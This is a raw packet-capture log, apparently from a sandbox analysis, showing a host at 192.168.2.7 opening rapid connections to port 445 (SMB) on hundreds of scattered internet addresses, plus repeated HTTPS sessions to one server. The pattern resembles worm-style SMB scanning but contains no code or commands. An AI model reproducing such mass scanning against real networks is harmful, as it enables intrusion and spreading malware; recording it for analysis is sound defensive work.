Jul 20, 2022 15:46:02.184051037 CEST	55287	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.184083939 CEST	443	55287	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:02.184114933 CEST	55287	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.184149027 CEST	55287	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.203011990 CEST	55309	445	192.168.2.7	39.43.16.55
Jul 20, 2022 15:46:02.285063028 CEST	55313	445	192.168.2.7	51.135.52.163
Jul 20, 2022 15:46:02.285326958 CEST	55316	445	192.168.2.7	92.194.163.2
Jul 20, 2022 15:46:02.285341024 CEST	55312	445	192.168.2.7	167.96.114.173
Jul 20, 2022 15:46:02.285521984 CEST	55323	445	192.168.2.7	53.0.70.87
Jul 20, 2022 15:46:02.285523891 CEST	55317	445	192.168.2.7	142.94.58.137
Jul 20, 2022 15:46:02.285641909 CEST	55327	445	192.168.2.7	89.218.21.106
Jul 20, 2022 15:46:02.285660028 CEST	55326	445	192.168.2.7	55.86.7.160
Jul 20, 2022 15:46:02.285815001 CEST	55330	445	192.168.2.7	44.47.124.224
Jul 20, 2022 15:46:02.285846949 CEST	55331	445	192.168.2.7	48.225.54.167
Jul 20, 2022 15:46:02.285939932 CEST	55333	445	192.168.2.7	128.86.226.129
Jul 20, 2022 15:46:02.286143064 CEST	55334	445	192.168.2.7	37.72.80.181
Jul 20, 2022 15:46:02.289077997 CEST	55336	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.289083004 CEST	445	55290	107.186.141.36	192.168.2.7
Jul 20, 2022 15:46:02.289120913 CEST	443	55336	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:02.289124012 CEST	445	55290	107.186.141.36	192.168.2.7
Jul 20, 2022 15:46:02.289248943 CEST	55336	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.292376041 CEST	55336	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.292401075 CEST	443	55336	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:02.305537939 CEST	445	55305	107.186.141.36	192.168.2.7
Jul 20, 2022 15:46:02.305664062 CEST	55305	445	192.168.2.7	107.186.141.36
Jul 20, 2022 15:46:02.305886030 CEST	55305	445	192.168.2.7	107.186.141.36
Jul 20, 2022 15:46:02.314522982 CEST	55337	445	192.168.2.7	103.217.20.186
Jul 20, 2022 15:46:02.363444090 CEST	55338	445	192.168.2.7	149.20.139.2
Jul 20, 2022 15:46:02.406713963 CEST	55342	445	192.168.2.7	69.145.128.196
Jul 20, 2022 15:46:02.420097113 CEST	55346	445	192.168.2.7	201.168.195.191
Jul 20, 2022 15:46:02.425770998 CEST	55348	445	192.168.2.7	55.95.31.238
Jul 20, 2022 15:46:02.427766085 CEST	55350	445	192.168.2.7	136.5.215.38
Jul 20, 2022 15:46:02.428194046 CEST	55349	445	192.168.2.7	87.134.153.61
Jul 20, 2022 15:46:02.428205967 CEST	55351	445	192.168.2.7	150.103.65.165
Jul 20, 2022 15:46:02.428270102 CEST	55359	445	192.168.2.7	102.164.85.214
Jul 20, 2022 15:46:02.428322077 CEST	55361	445	192.168.2.7	132.155.234.246
Jul 20, 2022 15:46:02.433285952 CEST	443	55336	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:02.433418036 CEST	55336	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.434166908 CEST	55336	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.434185028 CEST	443	55336	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:02.440581083 CEST	55336	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.440607071 CEST	443	55336	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:02.475058079 CEST	445	55305	107.186.141.36	192.168.2.7
Jul 20, 2022 15:46:02.475398064 CEST	55305	445	192.168.2.7	107.186.141.36
Jul 20, 2022 15:46:02.526638985 CEST	443	55336	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:02.526715994 CEST	443	55336	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:02.526832104 CEST	55336	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.526858091 CEST	55336	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.526973963 CEST	55336	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.526995897 CEST	443	55336	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:02.527014971 CEST	55336	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.527046919 CEST	55336	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.528558016 CEST	445	55338	149.20.139.2	192.168.2.7
Jul 20, 2022 15:46:02.528722048 CEST	55338	445	192.168.2.7	149.20.139.2
Jul 20, 2022 15:46:02.531672955 CEST	55365	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.531730890 CEST	443	55365	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:02.531845093 CEST	55365	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.532469988 CEST	55365	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.532507896 CEST	443	55365	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:02.533165932 CEST	55366	445	192.168.2.7	149.20.139.2
Jul 20, 2022 15:46:02.644328117 CEST	445	55305	107.186.141.36	192.168.2.7
Jul 20, 2022 15:46:02.644568920 CEST	55305	445	192.168.2.7	107.186.141.36
Jul 20, 2022 15:46:02.677742004 CEST	443	55365	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:02.677887917 CEST	55365	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.693770885 CEST	445	55338	149.20.139.2	192.168.2.7
Jul 20, 2022 15:46:02.698091984 CEST	445	55366	149.20.139.2	192.168.2.7
Jul 20, 2022 15:46:02.698235989 CEST	55366	445	192.168.2.7	149.20.139.2
Jul 20, 2022 15:46:02.699099064 CEST	55365	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.699111938 CEST	443	55365	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:02.704844952 CEST	55365	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.704855919 CEST	443	55365	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:02.761437893 CEST	443	55365	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:02.761564016 CEST	55365	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.761573076 CEST	443	55365	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:02.761657000 CEST	55365	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.800419092 CEST	55365	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.800470114 CEST	443	55365	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:02.800502062 CEST	55365	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.800570011 CEST	55365	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.806755066 CEST	55368	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.806797028 CEST	443	55368	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:02.806926966 CEST	55368	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.813397884 CEST	445	55305	107.186.141.36	192.168.2.7
Jul 20, 2022 15:46:02.813667059 CEST	55368	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.813714981 CEST	443	55368	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:02.858863115 CEST	55369	445	192.168.2.7	188.18.139.69
Jul 20, 2022 15:46:02.863149881 CEST	445	55366	149.20.139.2	192.168.2.7
Jul 20, 2022 15:46:02.957027912 CEST	443	55368	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:02.957123995 CEST	55368	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.957772970 CEST	55368	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.957792997 CEST	443	55368	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:02.960935116 CEST	55368	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:02.960967064 CEST	443	55368	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:03.040584087 CEST	443	55368	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:03.040669918 CEST	443	55368	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:03.040678978 CEST	55368	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:03.040743113 CEST	55368	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:03.056431055 CEST	55371	445	192.168.2.7	80.4.32.190
Jul 20, 2022 15:46:03.071578026 CEST	55368	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:03.071614027 CEST	443	55368	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:03.071626902 CEST	55368	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:03.071667910 CEST	55368	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:03.079615116 CEST	55374	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:03.079672098 CEST	443	55374	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:03.079835892 CEST	55374	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:03.081147909 CEST	55374	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:03.081177950 CEST	443	55374	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:03.223881006 CEST	443	55374	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:03.224018097 CEST	55374	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:03.227413893 CEST	55374	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:03.227435112 CEST	443	55374	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:03.230484009 CEST	55374	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:03.230506897 CEST	443	55374	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:03.316042900 CEST	443	55374	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:03.316135883 CEST	443	55374	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:03.316274881 CEST	55374	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:03.316303968 CEST	55374	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:03.784446955 CEST	55380	445	192.168.2.7	25.133.116.194
Jul 20, 2022 15:46:03.787031889 CEST	55382	445	192.168.2.7	173.143.70.72
Jul 20, 2022 15:46:03.787734032 CEST	55383	445	192.168.2.7	161.245.177.43
Jul 20, 2022 15:46:03.788320065 CEST	55384	445	192.168.2.7	170.55.58.139
Jul 20, 2022 15:46:03.791647911 CEST	55389	445	192.168.2.7	121.167.147.139
Jul 20, 2022 15:46:03.792192936 CEST	55390	445	192.168.2.7	48.115.4.47
Jul 20, 2022 15:46:03.793421984 CEST	55392	445	192.168.2.7	54.141.215.159
Jul 20, 2022 15:46:03.810333014 CEST	55393	445	192.168.2.7	11.68.228.233
Jul 20, 2022 15:46:03.936456919 CEST	55397	445	192.168.2.7	156.85.188.80
Jul 20, 2022 15:46:03.937761068 CEST	55399	445	192.168.2.7	198.129.204.232
Jul 20, 2022 15:46:03.938503027 CEST	55400	445	192.168.2.7	198.248.133.83
Jul 20, 2022 15:46:03.939913034 CEST	55402	445	192.168.2.7	117.77.172.83
Jul 20, 2022 15:46:03.941692114 CEST	55404	445	192.168.2.7	54.11.99.55
Jul 20, 2022 15:46:04.062272072 CEST	55411	445	192.168.2.7	79.67.120.88
Jul 20, 2022 15:46:04.062371016 CEST	55412	445	192.168.2.7	31.184.247.237
Jul 20, 2022 15:46:04.062506914 CEST	55414	445	192.168.2.7	114.202.215.135
Jul 20, 2022 15:46:04.062813044 CEST	55421	445	192.168.2.7	57.35.108.227
Jul 20, 2022 15:46:04.062958002 CEST	55423	445	192.168.2.7	209.245.13.211
Jul 20, 2022 15:46:04.063081026 CEST	55425	445	192.168.2.7	32.173.100.103
Jul 20, 2022 15:46:04.063394070 CEST	55429	445	192.168.2.7	46.243.132.29
Jul 20, 2022 15:46:04.063595057 CEST	55433	445	192.168.2.7	14.72.239.160
Jul 20, 2022 15:46:04.063785076 CEST	55436	445	192.168.2.7	5.57.155.204
Jul 20, 2022 15:46:04.063888073 CEST	55437	445	192.168.2.7	68.65.174.123
Jul 20, 2022 15:46:04.064038992 CEST	55440	445	192.168.2.7	129.230.76.99
Jul 20, 2022 15:46:04.064162970 CEST	55442	445	192.168.2.7	191.204.135.30
Jul 20, 2022 15:46:04.064251900 CEST	55443	445	192.168.2.7	91.165.143.136
Jul 20, 2022 15:46:04.064469099 CEST	55427	445	192.168.2.7	172.140.117.237
Jul 20, 2022 15:46:04.068686962 CEST	55446	445	192.168.2.7	188.18.139.70
Jul 20, 2022 15:46:04.156868935 CEST	445	55446	188.18.139.70	192.168.2.7
Jul 20, 2022 15:46:04.157087088 CEST	55446	445	192.168.2.7	188.18.139.70
Jul 20, 2022 15:46:04.175817013 CEST	55446	445	192.168.2.7	188.18.139.70
Jul 20, 2022 15:46:04.176556110 CEST	55449	445	192.168.2.7	213.34.56.134
Jul 20, 2022 15:46:04.180543900 CEST	55451	445	192.168.2.7	188.18.139.70
Jul 20, 2022 15:46:04.260704994 CEST	445	55446	188.18.139.70	192.168.2.7
Jul 20, 2022 15:46:04.261096001 CEST	445	55446	188.18.139.70	192.168.2.7
Jul 20, 2022 15:46:04.261113882 CEST	445	55451	188.18.139.70	192.168.2.7
Jul 20, 2022 15:46:04.261184931 CEST	55446	445	192.168.2.7	188.18.139.70
Jul 20, 2022 15:46:04.261260033 CEST	55451	445	192.168.2.7	188.18.139.70
Jul 20, 2022 15:46:04.291557074 CEST	55451	445	192.168.2.7	188.18.139.70
Jul 20, 2022 15:46:04.369791985 CEST	445	55451	188.18.139.70	192.168.2.7
Jul 20, 2022 15:46:04.373773098 CEST	445	55451	188.18.139.70	192.168.2.7
Jul 20, 2022 15:46:04.400495052 CEST	55451	445	192.168.2.7	188.18.139.70
Jul 20, 2022 15:46:04.429758072 CEST	55374	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:04.429807901 CEST	443	55374	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:04.429821014 CEST	55374	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:04.429866076 CEST	55374	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:04.482546091 CEST	445	55451	188.18.139.70	192.168.2.7
Jul 20, 2022 15:46:04.514678955 CEST	55451	445	192.168.2.7	188.18.139.70
Jul 20, 2022 15:46:04.562125921 CEST	55454	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:04.562184095 CEST	443	55454	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:04.562268972 CEST	55454	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:04.562547922 CEST	55454	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:04.562566996 CEST	443	55454	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:04.593477964 CEST	445	55451	188.18.139.70	192.168.2.7
Jul 20, 2022 15:46:04.635895967 CEST	55451	445	192.168.2.7	188.18.139.70
Jul 20, 2022 15:46:04.709481955 CEST	443	55454	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:04.709686995 CEST	55454	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:04.717175007 CEST	445	55451	188.18.139.70	192.168.2.7
Jul 20, 2022 15:46:04.794573069 CEST	55451	445	192.168.2.7	188.18.139.70
Jul 20, 2022 15:46:05.362560034 CEST	55451	445	192.168.2.7	188.18.139.70
Jul 20, 2022 15:46:05.381783962 CEST	55454	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:05.381827116 CEST	443	55454	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:05.406907082 CEST	55454	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:05.406934977 CEST	443	55454	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:05.445005894 CEST	445	55451	188.18.139.70	192.168.2.7
Jul 20, 2022 15:46:05.445202112 CEST	55451	445	192.168.2.7	188.18.139.70
Jul 20, 2022 15:46:05.479165077 CEST	55457	445	192.168.2.7	191.254.2.95
Jul 20, 2022 15:46:05.480319977 CEST	55459	445	192.168.2.7	165.0.36.106
Jul 20, 2022 15:46:05.481271982 CEST	55461	445	192.168.2.7	21.167.234.9
Jul 20, 2022 15:46:05.483722925 CEST	55465	445	192.168.2.7	17.216.176.31
Jul 20, 2022 15:46:05.484687090 CEST	55467	445	192.168.2.7	9.189.89.184
Jul 20, 2022 15:46:05.485163927 CEST	55468	445	192.168.2.7	214.205.17.128
Jul 20, 2022 15:46:05.486186028 CEST	55470	445	192.168.2.7	89.64.160.205
Jul 20, 2022 15:46:05.487215042 CEST	55472	445	192.168.2.7	72.132.95.49
Jul 20, 2022 15:46:05.488656044 CEST	443	55454	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:05.488743067 CEST	443	55454	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:05.488750935 CEST	55454	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:05.488796949 CEST	55454	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:05.489356995 CEST	55476	445	192.168.2.7	34.203.40.229
Jul 20, 2022 15:46:05.491642952 CEST	55481	445	192.168.2.7	169.16.107.117
Jul 20, 2022 15:46:05.492600918 CEST	55483	445	192.168.2.7	212.145.185.143
Jul 20, 2022 15:46:05.493103981 CEST	55484	445	192.168.2.7	183.99.243.104
Jul 20, 2022 15:46:05.493607998 CEST	55485	445	192.168.2.7	206.205.37.119
Jul 20, 2022 15:46:05.495887041 CEST	55490	445	192.168.2.7	137.35.46.106
Jul 20, 2022 15:46:05.496543884 CEST	55491	445	192.168.2.7	217.248.46.197
Jul 20, 2022 15:46:05.560100079 CEST	55493	445	192.168.2.7	15.173.130.34
Jul 20, 2022 15:46:05.561570883 CEST	55495	445	192.168.2.7	176.224.152.241
Jul 20, 2022 15:46:05.566495895 CEST	55503	445	192.168.2.7	169.22.213.228
Jul 20, 2022 15:46:05.567173004 CEST	55504	445	192.168.2.7	176.12.23.6
Jul 20, 2022 15:46:05.595078945 CEST	55506	445	192.168.2.7	155.254.249.253
Jul 20, 2022 15:46:05.598318100 CEST	55513	445	192.168.2.7	93.204.42.132
Jul 20, 2022 15:46:05.598429918 CEST	55515	445	192.168.2.7	5.8.154.11
Jul 20, 2022 15:46:05.598505020 CEST	55516	445	192.168.2.7	155.20.140.12
Jul 20, 2022 15:46:05.598623037 CEST	55518	445	192.168.2.7	142.81.181.166
Jul 20, 2022 15:46:05.598716021 CEST	55520	445	192.168.2.7	94.180.60.254
Jul 20, 2022 15:46:05.598881006 CEST	55525	445	192.168.2.7	192.140.176.173
Jul 20, 2022 15:46:05.598957062 CEST	55526	445	192.168.2.7	71.137.243.142
Jul 20, 2022 15:46:05.599076033 CEST	55529	445	192.168.2.7	214.52.158.190
Jul 20, 2022 15:46:05.666181087 CEST	445	55515	5.8.154.11	192.168.2.7
Jul 20, 2022 15:46:05.690978050 CEST	55454	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:05.691025019 CEST	443	55454	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:05.691040993 CEST	55454	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:05.691096067 CEST	55454	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:05.694366932 CEST	55531	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:05.694418907 CEST	443	55531	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:05.694524050 CEST	55531	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:05.696234941 CEST	55531	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:05.696274042 CEST	443	55531	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:05.785481930 CEST	443	55531	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:05.785605907 CEST	55531	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:06.242892981 CEST	55532	445	192.168.2.7	107.186.141.36
Jul 20, 2022 15:46:06.243426085 CEST	55533	445	192.168.2.7	149.20.139.2
Jul 20, 2022 15:46:06.294343948 CEST	55515	445	192.168.2.7	5.8.154.11
Jul 20, 2022 15:46:06.364741087 CEST	445	55515	5.8.154.11	192.168.2.7
Jul 20, 2022 15:46:06.413630009 CEST	445	55532	107.186.141.36	192.168.2.7
Jul 20, 2022 15:46:06.413862944 CEST	55532	445	192.168.2.7	107.186.141.36
Jul 20, 2022 15:46:06.511148930 CEST	55532	445	192.168.2.7	107.186.141.36
Jul 20, 2022 15:46:06.681828976 CEST	445	55532	107.186.141.36	192.168.2.7
Jul 20, 2022 15:46:06.794394016 CEST	55532	445	192.168.2.7	107.186.141.36
Jul 20, 2022 15:46:06.903769016 CEST	55515	445	192.168.2.7	5.8.154.11
Jul 20, 2022 15:46:06.970995903 CEST	445	55515	5.8.154.11	192.168.2.7
Jul 20, 2022 15:46:07.869072914 CEST	55532	445	192.168.2.7	107.186.141.36
Jul 20, 2022 15:46:07.878742933 CEST	55537	445	192.168.2.7	115.123.184.86
Jul 20, 2022 15:46:07.880119085 CEST	55539	445	192.168.2.7	51.143.207.220
Jul 20, 2022 15:46:07.881297112 CEST	55541	445	192.168.2.7	80.48.232.148
Jul 20, 2022 15:46:07.882638931 CEST	55543	445	192.168.2.7	180.214.90.111
Jul 20, 2022 15:46:07.883399010 CEST	55544	445	192.168.2.7	83.108.98.155
Jul 20, 2022 15:46:07.885091066 CEST	55547	445	192.168.2.7	190.200.104.96
Jul 20, 2022 15:46:07.945691109 CEST	55554	445	192.168.2.7	102.56.155.140
Jul 20, 2022 15:46:07.946985006 CEST	55555	445	192.168.2.7	96.47.238.200
Jul 20, 2022 15:46:07.948626995 CEST	55557	445	192.168.2.7	18.105.127.36
Jul 20, 2022 15:46:07.949415922 CEST	55558	445	192.168.2.7	77.161.211.118
Jul 20, 2022 15:46:07.959639072 CEST	55563	445	192.168.2.7	192.109.117.223
Jul 20, 2022 15:46:07.960230112 CEST	55564	445	192.168.2.7	128.209.136.245
Jul 20, 2022 15:46:07.962112904 CEST	55568	445	192.168.2.7	49.156.37.56
Jul 20, 2022 15:46:07.963092089 CEST	55570	445	192.168.2.7	153.240.103.14
Jul 20, 2022 15:46:07.963805914 CEST	55571	445	192.168.2.7	26.20.124.139
Jul 20, 2022 15:46:07.967564106 CEST	55574	445	192.168.2.7	150.76.25.77
Jul 20, 2022 15:46:07.968092918 CEST	55575	445	192.168.2.7	134.187.38.245
Jul 20, 2022 15:46:07.971761942 CEST	55583	445	192.168.2.7	25.29.39.24
Jul 20, 2022 15:46:07.972986937 CEST	55585	445	192.168.2.7	107.224.137.156
Jul 20, 2022 15:46:07.984244108 CEST	55588	445	192.168.2.7	53.60.205.10
Jul 20, 2022 15:46:07.985707998 CEST	55591	445	192.168.2.7	149.36.124.104
Jul 20, 2022 15:46:07.986279011 CEST	55592	445	192.168.2.7	35.77.78.55
Jul 20, 2022 15:46:07.988687038 CEST	55597	445	192.168.2.7	196.174.34.42
Jul 20, 2022 15:46:07.989913940 CEST	55599	445	192.168.2.7	209.114.2.25
Jul 20, 2022 15:46:07.990928888 CEST	55601	445	192.168.2.7	100.222.89.54
Jul 20, 2022 15:46:07.991489887 CEST	55602	445	192.168.2.7	177.25.23.172
Jul 20, 2022 15:46:07.992520094 CEST	55604	445	192.168.2.7	12.20.213.155
Jul 20, 2022 15:46:07.999578953 CEST	55611	445	192.168.2.7	51.54.124.163
Jul 20, 2022 15:46:08.006907940 CEST	55531	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:08.006937981 CEST	443	55531	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:08.040797949 CEST	445	55532	107.186.141.36	192.168.2.7
Jul 20, 2022 15:46:08.106965065 CEST	55532	445	192.168.2.7	107.186.141.36
Jul 20, 2022 15:46:08.111815929 CEST	55532	445	192.168.2.7	107.186.141.36
Jul 20, 2022 15:46:08.284333944 CEST	445	55532	107.186.141.36	192.168.2.7
Jul 20, 2022 15:46:08.409174919 CEST	55612	445	192.168.2.7	188.18.139.70
Jul 20, 2022 15:46:08.434933901 CEST	55614	445	192.168.2.7	107.186.141.37
Jul 20, 2022 15:46:08.458528042 CEST	55531	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:08.458564043 CEST	443	55531	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:08.497612000 CEST	445	55612	188.18.139.70	192.168.2.7
Jul 20, 2022 15:46:08.497801065 CEST	55612	445	192.168.2.7	188.18.139.70
Jul 20, 2022 15:46:08.500292063 CEST	55612	445	192.168.2.7	188.18.139.70
Jul 20, 2022 15:46:08.519069910 CEST	443	55531	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:08.519156933 CEST	443	55531	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:08.519216061 CEST	55531	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:08.519239902 CEST	55531	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:08.557195902 CEST	55531	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:08.557245970 CEST	443	55531	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:08.557261944 CEST	55531	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:08.557313919 CEST	55531	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:08.586077929 CEST	445	55612	188.18.139.70	192.168.2.7
Jul 20, 2022 15:46:08.587898016 CEST	55615	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:08.587941885 CEST	443	55615	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:08.588052034 CEST	55615	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:08.588752031 CEST	55615	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:08.588776112 CEST	443	55615	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:08.589471102 CEST	445	55612	188.18.139.70	192.168.2.7
Jul 20, 2022 15:46:08.600743055 CEST	55612	445	192.168.2.7	188.18.139.70
Jul 20, 2022 15:46:08.604391098 CEST	445	55614	107.186.141.37	192.168.2.7
Jul 20, 2022 15:46:08.604554892 CEST	55614	445	192.168.2.7	107.186.141.37
Jul 20, 2022 15:46:08.604723930 CEST	55614	445	192.168.2.7	107.186.141.37
Jul 20, 2022 15:46:08.641072989 CEST	55616	445	192.168.2.7	107.186.141.37
Jul 20, 2022 15:46:08.687628984 CEST	445	55612	188.18.139.70	192.168.2.7
Jul 20, 2022 15:46:08.687819958 CEST	55612	445	192.168.2.7	188.18.139.70
Jul 20, 2022 15:46:08.753257990 CEST	443	55615	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:08.753426075 CEST	55615	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:08.773497105 CEST	445	55612	188.18.139.70	192.168.2.7
Jul 20, 2022 15:46:08.773533106 CEST	445	55614	107.186.141.37	192.168.2.7
Jul 20, 2022 15:46:08.773545980 CEST	445	55614	107.186.141.37	192.168.2.7
Jul 20, 2022 15:46:08.777477026 CEST	55612	445	192.168.2.7	188.18.139.70
Jul 20, 2022 15:46:08.779613972 CEST	55615	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:08.779637098 CEST	443	55615	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:08.785116911 CEST	55615	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:08.785137892 CEST	443	55615	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:08.810219049 CEST	445	55616	107.186.141.37	192.168.2.7
Jul 20, 2022 15:46:08.810400963 CEST	55616	445	192.168.2.7	107.186.141.37
Jul 20, 2022 15:46:08.810512066 CEST	55616	445	192.168.2.7	107.186.141.37
Jul 20, 2022 15:46:08.861887932 CEST	445	55612	188.18.139.70	192.168.2.7
Jul 20, 2022 15:46:08.878904104 CEST	443	55615	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:08.878995895 CEST	443	55615	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:08.879091024 CEST	55615	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:08.879129887 CEST	55615	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:08.894668102 CEST	55612	445	192.168.2.7	188.18.139.70
Jul 20, 2022 15:46:08.898638964 CEST	55615	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:08.898674011 CEST	443	55615	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:08.898706913 CEST	55615	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:08.898739100 CEST	55615	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:08.901246071 CEST	55617	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:08.901285887 CEST	443	55617	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:08.901393890 CEST	55617	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:08.902007103 CEST	55617	443	192.168.2.7	20.238.103.94
Jul 20, 2022 15:46:08.902023077 CEST	443	55617	20.238.103.94	192.168.2.7
Jul 20, 2022 15:46:08.980623007 CEST	445	55616	107.186.141.37	192.168.2.7
Jul 20, 2022 15:46:08.981822968 CEST	445	55612	188.18.139.70	192.168.2.7
Jul 20, 2022 15:46:08.981980085 CEST	55612	445	192.168.2.7	188.18.139.70
